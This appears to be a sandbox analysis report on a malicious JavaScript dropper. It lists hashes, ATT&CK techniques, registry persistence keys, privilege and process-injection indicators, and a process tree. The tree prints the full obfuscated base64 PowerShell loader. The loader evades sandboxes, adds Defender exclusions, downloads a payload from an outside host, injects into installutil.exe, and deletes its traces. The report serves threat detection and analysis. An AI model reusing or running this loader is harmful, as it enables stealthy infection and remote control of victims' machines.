fbeaaff51575496bb602960afd1903be389c7f405a249ea5e630ae8d53a50154

Analysis

max time kernel
149s
max time network
147s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
29/10/2025, 19:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AVIODIRECTPN_Desc__QtyDetails.js
Size 74KB
Sample251029-ym7nbatjes
SHA256 fbeaaff51575496bb602960afd1903be389c7f405a249ea5e630ae8d53a50154
MD5 f7834842d0b4311abbe73e7e5fbdc646
SHA1 483c3ed2cb002595347671dd54f976d805df955e
SHA512 f8c1f307c7bd355587d80b3e61f82584adc9e545ba81534d217f974c7a99e4bf9da3b22ad141c11454f61a40c4150e1b1720a84e2c9d92134b655ba9cf2421dd
SSDEEP 768:bI/478CnXARDkTuxWuxWuxWuxWuxWuVuxWuxWuxWuxWuxWuxWt:bIQ1Tfffff6fffffft
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	348	powershell.exe
4	5032	powershell.exe
5	5032	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2636	powershell.exe
3700	powershell.exe
4004	powershell.exe
4040	powershell.exe
1568	powershell.exe
3128	powershell.exe
1292	powershell.exe
1964	powershell.exe
5088	powershell.exe
4572	powershell.exe
4752	powershell.exe
3520	powershell.exe
4852	powershell.exe
1440	powershell.exe
348	powershell.exe
5032	powershell.exe
580	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3104	netsh.exe

Adds Run key to start application 2 TTPs 11 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_zuj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\ziiac.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_zuj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\ziiac.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_zuj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\ziiac.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_dyo = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\ziiac.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\681af9bacfbc6a26a8f1efd31a593303 = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\installutil.exe\" .."	installutil.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_zuj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\ziiac.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_zuj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\ziiac.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_zuj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\ziiac.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\Run\681af9bacfbc6a26a8f1efd31a593303 = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\installutil.exe\" .."	installutil.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_zuj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\ziiac.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1372747213-2971725360-2986618536-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_zuj = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\ziiac.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4040 set thread context of 2476	4040	powershell.exe	113

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 20 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1824	cmd.exe
1896	PING.EXE
1924	PING.EXE
3652	PING.EXE
1200	PING.EXE
1788	cmd.exe
4840	cmd.exe
4404	cmd.exe
3216	PING.EXE
4352	cmd.exe
548	PING.EXE
1840	cmd.exe
4200	cmd.exe
3212	cmd.exe
2052	PING.EXE
3104	PING.EXE
4900	PING.EXE
2544	cmd.exe
2268	cmd.exe
3344	PING.EXE

Runs ping.exe 1 TTPs 10 IoCs

Remote System Discovery

T1018

pid	Process
1896	PING.EXE
1924	PING.EXE
548	PING.EXE
3652	PING.EXE
2052	PING.EXE
1200	PING.EXE
3216	PING.EXE
3344	PING.EXE
3104	PING.EXE
4900	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4004	powershell.exe
4004	powershell.exe
348	powershell.exe
348	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
2636	powershell.exe
3700	powershell.exe
2636	powershell.exe
3700	powershell.exe
5032	powershell.exe
580	powershell.exe
580	powershell.exe
4040	powershell.exe
5088	powershell.exe
4040	powershell.exe
5088	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
1568	powershell.exe
1568	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
3128	powershell.exe
3128	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4572	powershell.exe
4572	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4752	powershell.exe
4752	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe
4040	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4040	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	348	powershell.exe
Token: SeIncreaseQuotaPrivilege	348	powershell.exe
Token: SeSecurityPrivilege	348	powershell.exe
Token: SeTakeOwnershipPrivilege	348	powershell.exe
Token: SeLoadDriverPrivilege	348	powershell.exe
Token: SeSystemProfilePrivilege	348	powershell.exe
Token: SeSystemtimePrivilege	348	powershell.exe
Token: SeProfSingleProcessPrivilege	348	powershell.exe
Token: SeIncBasePriorityPrivilege	348	powershell.exe
Token: SeCreatePagefilePrivilege	348	powershell.exe
Token: SeBackupPrivilege	348	powershell.exe
Token: SeRestorePrivilege	348	powershell.exe
Token: SeShutdownPrivilege	348	powershell.exe
Token: SeDebugPrivilege	348	powershell.exe
Token: SeSystemEnvironmentPrivilege	348	powershell.exe
Token: SeRemoteShutdownPrivilege	348	powershell.exe
Token: SeUndockPrivilege	348	powershell.exe
Token: SeManageVolumePrivilege	348	powershell.exe
Token: 33	348	powershell.exe
Token: 34	348	powershell.exe
Token: 35	348	powershell.exe
Token: 36	348	powershell.exe
Token: SeIncreaseQuotaPrivilege	348	powershell.exe
Token: SeSecurityPrivilege	348	powershell.exe
Token: SeTakeOwnershipPrivilege	348	powershell.exe
Token: SeLoadDriverPrivilege	348	powershell.exe
Token: SeSystemProfilePrivilege	348	powershell.exe
Token: SeSystemtimePrivilege	348	powershell.exe
Token: SeProfSingleProcessPrivilege	348	powershell.exe
Token: SeIncBasePriorityPrivilege	348	powershell.exe
Token: SeCreatePagefilePrivilege	348	powershell.exe
Token: SeBackupPrivilege	348	powershell.exe
Token: SeRestorePrivilege	348	powershell.exe
Token: SeShutdownPrivilege	348	powershell.exe
Token: SeDebugPrivilege	348	powershell.exe
Token: SeSystemEnvironmentPrivilege	348	powershell.exe
Token: SeRemoteShutdownPrivilege	348	powershell.exe
Token: SeUndockPrivilege	348	powershell.exe
Token: SeManageVolumePrivilege	348	powershell.exe
Token: 33	348	powershell.exe
Token: 34	348	powershell.exe
Token: 35	348	powershell.exe
Token: 36	348	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	3700	powershell.exe
Token: SeDebugPrivilege	580	powershell.exe
Token: SeDebugPrivilege	4040	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	3128	powershell.exe
Token: SeDebugPrivilege	2476	installutil.exe
Token: 33	2476	installutil.exe
Token: SeIncBasePriorityPrivilege	2476	installutil.exe
Token: 33	2476	installutil.exe
Token: SeIncBasePriorityPrivilege	2476	installutil.exe
Token: 33	2476	installutil.exe
Token: SeIncBasePriorityPrivilege	2476	installutil.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: 33	2476	installutil.exe
Token: SeIncBasePriorityPrivilege	2476	installutil.exe
Token: 33	2476	installutil.exe
Token: SeIncBasePriorityPrivilege	2476	installutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4304 wrote to memory of 2524	4304	wscript.exe	80
PID 4304 wrote to memory of 2524	4304	wscript.exe	80
PID 2524 wrote to memory of 4004	2524	wscript.exe	81
PID 2524 wrote to memory of 4004	2524	wscript.exe	81
PID 4004 wrote to memory of 348	4004	powershell.exe	84
PID 4004 wrote to memory of 348	4004	powershell.exe	84
PID 348 wrote to memory of 5032	348	powershell.exe	86
PID 348 wrote to memory of 5032	348	powershell.exe	86
PID 5032 wrote to memory of 1788	5032	powershell.exe	87
PID 5032 wrote to memory of 1788	5032	powershell.exe	87
PID 5032 wrote to memory of 1840	5032	powershell.exe	88
PID 5032 wrote to memory of 1840	5032	powershell.exe	88
PID 5032 wrote to memory of 2544	5032	powershell.exe	89
PID 5032 wrote to memory of 2544	5032	powershell.exe	89
PID 5032 wrote to memory of 4404	5032	powershell.exe	90
PID 5032 wrote to memory of 4404	5032	powershell.exe	90
PID 5032 wrote to memory of 2268	5032	powershell.exe	91
PID 5032 wrote to memory of 2268	5032	powershell.exe	91
PID 5032 wrote to memory of 4840	5032	powershell.exe	92
PID 5032 wrote to memory of 4840	5032	powershell.exe	92
PID 5032 wrote to memory of 1824	5032	powershell.exe	93
PID 5032 wrote to memory of 1824	5032	powershell.exe	93
PID 5032 wrote to memory of 4200	5032	powershell.exe	94
PID 5032 wrote to memory of 4200	5032	powershell.exe	94
PID 2544 wrote to memory of 548	2544	cmd.exe	96
PID 2544 wrote to memory of 548	2544	cmd.exe	96
PID 1788 wrote to memory of 3216	1788	cmd.exe	97
PID 1788 wrote to memory of 3216	1788	cmd.exe	97
PID 5032 wrote to memory of 3212	5032	powershell.exe	95
PID 5032 wrote to memory of 3212	5032	powershell.exe	95
PID 1840 wrote to memory of 1924	1840	cmd.exe	98
PID 1840 wrote to memory of 1924	1840	cmd.exe	98
PID 4840 wrote to memory of 1896	4840	cmd.exe	100
PID 4840 wrote to memory of 1896	4840	cmd.exe	100
PID 5032 wrote to memory of 4352	5032	powershell.exe	99
PID 5032 wrote to memory of 4352	5032	powershell.exe	99
PID 4200 wrote to memory of 3652	4200	cmd.exe	103
PID 4200 wrote to memory of 3652	4200	cmd.exe	103
PID 4404 wrote to memory of 3104	4404	cmd.exe	101
PID 4404 wrote to memory of 3104	4404	cmd.exe	101
PID 1824 wrote to memory of 2052	1824	cmd.exe	102
PID 1824 wrote to memory of 2052	1824	cmd.exe	102
PID 2268 wrote to memory of 3344	2268	cmd.exe	104
PID 2268 wrote to memory of 3344	2268	cmd.exe	104
PID 3212 wrote to memory of 4900	3212	cmd.exe	105
PID 3212 wrote to memory of 4900	3212	cmd.exe	105
PID 4352 wrote to memory of 1200	4352	cmd.exe	106
PID 4352 wrote to memory of 1200	4352	cmd.exe	106
PID 5032 wrote to memory of 2636	5032	powershell.exe	107
PID 5032 wrote to memory of 2636	5032	powershell.exe	107
PID 5032 wrote to memory of 3700	5032	powershell.exe	108
PID 5032 wrote to memory of 3700	5032	powershell.exe	108
PID 5032 wrote to memory of 580	5032	powershell.exe	109
PID 5032 wrote to memory of 580	5032	powershell.exe	109
PID 5032 wrote to memory of 5088	5032	powershell.exe	110
PID 5032 wrote to memory of 5088	5032	powershell.exe	110
PID 5032 wrote to memory of 4040	5032	powershell.exe	111
PID 5032 wrote to memory of 4040	5032	powershell.exe	111
PID 5032 wrote to memory of 3100	5032	powershell.exe	112
PID 5032 wrote to memory of 3100	5032	powershell.exe	112
PID 4040 wrote to memory of 2476	4040	powershell.exe	113
PID 4040 wrote to memory of 2476	4040	powershell.exe	113
PID 4040 wrote to memory of 2476	4040	powershell.exe	113
PID 4040 wrote to memory of 2476	4040	powershell.exe	113

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\AVIODIRECTPN_Desc__QtyDetails.js
1⤵
- Suspicious use of WriteProcessMemory
PID:4304
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\AVIODIRECTPN_Desc__QtyDetails.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c "$dYEUs ;$vEZVu ;$vEZVu = 'U3RhcnQtU2xlZX' + ' + A + ' + 'gLVNlY2' + ' + 9 + ' + 'uZHMgNTsgW1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG' + '9' + 'jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY2' + '9' + 'sVHlwZV06OlRsczEyOw0KOyR3aXJuUC' + 'A' + '' + '9' + 'IFRlc3QtQ2' + '9' + 'ubmVjdGlvbi' + 'A' + 'nd3d3Lmdvb2dsZS5jb20nIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlOw0KJFZhcGZtID0gJHdpcm5QIC1pcyBbQXJyYXldOw0KaWYgKCRWYXBmbSl7DQoNCn0NCmVsc2V7DQpSZXN0YXJ0LUNvbXB1dGVyIC1mb3JjZS' + 'A' + '7DQogIC' + 'A' + 'gICBleGl0Ow0KfTsNCg0KO2lmKChnZXQtcHJvY2Vzcy' + 'A' + 'naGFuZGxlJywgJ2F1dG' + '9' + 'ydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + 'A' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ3NhbmRib3gnLC' + 'A' + 'ndGNwdmlldycsICdPTExZREJHJywnSW1tdW5pdHlEZWJ1Z2dlcicsICdXaXJlJy' + 'A' + 'rICdzaGFyaycsJ2FwYXRlRE5TJywnYW5hbHl6ZScgLWVhIFNpbGVudGx5Q2' + '9' + 'udGludWUpIC1lcS' + 'A' + 'kTnVsbCl7I' + 'A' + '0KIC' + 'A' + 'gIC' + 'A' + 'gI' + 'A' + '0KfQ0KZWxzZXsgDQpSZXN0YXJ0LUNvbXB1dGVyIC1mb3JjZS' + 'A' + '7DQogIC' + 'A' + 'gICBleGl0Ow0KIH07W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG' + '9' + 'jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY2' + '9' + 'sVHlwZV06OlRsczEyIDskU3RyaW5nYmFz' ;$dYEUs = 'ZTtGdW5jdGlvbiB4YkxtYns7JHhDdm5HID0gW1N5c3RlbS5UZXh0LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW3N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkU3RyaW5nYmFzZSkpO3JldHVybi' + ' + A + ' + 'keEN2bkc7fTskam' + '9' + '2UksgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd2enlrYi50eHQnKTskVHFGQXIgPS' + 'A' + 'nYUhSMGNITTZMeTh3TURrME1qTmhaall5TXpnME1HVmlPRGxtWWpFM05UazFORE00TnprME16RXVNVGcxTVRrME5pNXRaWFZ6YVhSbGFHOXpkR2RoZEc5eUxtTnZiUzVpY2k5R1YxVkNZbE55VGtWWFh6RXdMekF6TG5SNGRBPT0nOyRTdHJpbmdiYXNlID0gJFRxRkFyOy' + 'A' + 'kVHFGQXIgPSB4YkxtYjskVHFGQXIgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGpvdlJLIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDskWUNiZHIgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdqa3hwci50eHQnKS' + 'A' + '7JHNocGJzID0gTmV3LU' + '9' + 'iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC' + 'A' + '7JHNocGJzLkVuY2' + '9' + 'kaW5nID0gW1N5c3RlbS5UZXh0LkVuY2' + '9' + 'kaW5nXTo6VVRGOC' + 'A' + '7JHNocGJzLnByb3h5ID0gJG51bGw7JEtGT0tLIC' + 'A' + '' + '9' + 'ICggR2V0LUNvbnRlbnQgLVBhdGggJGpvdlJLICkgOyRvandLUi' + 'A' + '' + '9' + 'ICRzaHBicy5Eb3dubG' + '9' + 'hZERhdGEoICRLRk' + '9' + 'LSy5UcmltKCkgKS' + 'A' + '7JHdkY2pqID0gW1N5c3RlbS5UZXh0LkVuY2' + '9' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJG' + '9' + 'qd0tSKTskd2RjamogPS' + 'A' + 'oQChbcmVnZXhdOjpzcGxpdCgkd2RjamosJ1wleCUrJykpWzFdKS5UcmltKCk7JHdkY2pqIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRZQ2Jkci' + 'A' + 'tZm' + '9' + 'yY2UgOyRnY1V1QS' + 'A' + '' + '9' + 'ICdMbycgKy' + 'A' + 'nYWQnOyRuTGtqRy' + 'A' + '' + '9' + 'ICdBc3NlJy' + 'A' + 'rICdtYmx5JzskV0ZiZ0UgPS' + 'A' + 'naW52Jy' + 'A' + 'rICdva2UnOyREaG' + '9' + 'kaC' + 'A' + '' + '9' + 'ICdSZWZsZScgKy' + 'A' + 'nY3Rpb24nOyRMaXdXaC' + 'A' + '' + '9' + 'ICRudWxsOyR2cHN0eC' + 'A' + 'rPS' + 'A' + 'nJHdLeERlID0gKCcnaHR0cHM6Ly8wMDk0MjNhZjYyMzg0MGViODlmYjE3NTk1NDM4Nzk0MzEuMTg1MTk0Ni5tZXVzaXRlaG' + '9' + 'zdGdhdG' + '9' + 'yLmNvbS5ici8nJy' + 'A' + 'rICcnRldVQmJTck5FV18xMC8nJykgOycgOyR2cHN0eC' + 'A' + 'rPS' + 'A' + 'nJEdMbWx6ID0gJyclYmFzZTY0JVoyUnZjMlp0Ym5kc1pTOTNZWEl2ZEdWdUxtNXBZblI0WlhRdkx6cHpjSFIwYeaYr+aIkT0' + '9' + 'JycgOyRHTG1sei' + 'A' + '' + '9' + 'ICcnJWJhc2U2NCUnJy' + 'A' + 'rICgkR0xtbHogLXJlcGxhY2UgJyfmmK/miJEnJy' + 'A' + 'sICcnQScnKS' + 'A' + '7OyRKUmFDVy' + 'A' + '' + '9' + 'ICggJydDOlxVc2Vyc1xQdWJsaWNcJycgKy' + 'A' + 'nJ2preHByLnR4dCcnKS' + 'A' + '7JHNxZGh0ID0gKEdldC1Db250ZW50IC1QYXRoICRKUmFDVy' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JHZwc3R4ICs' + '9' + 'ICckc3FkaHQgLXJlcGxhY2UgJycgJycsICcnJycgOycgOyR2cHN0eC' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV0kanJ2dm0gPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV06Om5ldygpOycgOyR2cHN0eC' + 'A' + 'rPS' + 'A' + 'nJGpydnZtID0gKCRzcWRodC' + 'A' + 'gLXNwbGl0ICcnLCcnIHwgRm' + '9' + 'yRWFjaC1PYmplY3QgeyBbYnl0ZV0oJF8uVHJpbSgpKSB' + '9' + 'KS' + 'A' + '7JzskdnBzdHggKz0gJyR6dWdsRi' + 'A' + '' + '9' + 'IFtTeXN0ZW0uJy' + 'A' + 'rICREaG' + '9' + 'kaC' + 'A' + 'rICcuJy' + 'A' + 'rICRuTGtqRy' + 'A' + 'rICddOjonICsgJGdjVXVBICsgJyggJGpydnZtICk7Jy' + 'A' + '7JHZwc3R4ICs' + '9' + 'ICckRUVHY20gPS' + 'A' + 'kenVnbEYuR2V0VHlwZSggJydDbGFzc0xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JHZwc3R4ICs' + '9' + 'ICckS1B4T0IgPS' + 'A' + 'kRUVHY20uR2V0TWV0aG' + '9' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJFdGYmdFICsgJyggJExpd1doICwgW2' + '9' + 'iamVjdFtdXS' + 'A' + 'oICRHTG1sei' + 'A' + 'sICcnJXZWbEd6JScnICwgJydEIEREQzpcV2luZG' + '9' + '3c1xNaWNyb3NvZnQuTkVUXEZyYW1ld2' + '9' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJHdLeERlICkgKTsnIDskZkRwRXcgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd3bnZyZl8wMS5wczEnICkgOyR2cHN0eCB8IE' + '9' + '1dC1GaWxlIC1GaWxlUGF0aC' + 'A' + 'kZkRwRXcgLWZvcmNlIDs7cG' + '9' + '3ZXJzaGVsbC5leGUgLUV4ZWN1dGlvblBvbGljeSBieXBhc3MgLUZpbGUgJGZEcEV3IDs=' ;$kJgEZ = ($vEZVu + $dYEUs) ;$kJgEZ = $kJgEZ.replace('''',$null) ;$kJgEZ = $kJgEZ.replace('+ ',$null) ;$kJgEZ = $kJgEZ.replace(' ',$null) ;Function BaseMy_evILa{;$cqlIX = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($kJgEZ));return $cqlIX;};$onMTA = BaseMy_evILa; $onMTA = ($onMTA -replace '%vVlGz%','C:\Users\Public\AVIODIRECTPN_Desc__QtyDetails的这五js') ;$YOhni = 'C:\Users\Public\teste.ps1' ; $onMTA | Out-File -FilePath $YOhni -force ; powershell.exe -ExecutionPolicy Bypass -file $YOhni ; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\teste.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:348
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\wnvrf_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5032
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1760563836.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1788
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3216
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1840
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1924
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi3db1.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2544
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:548
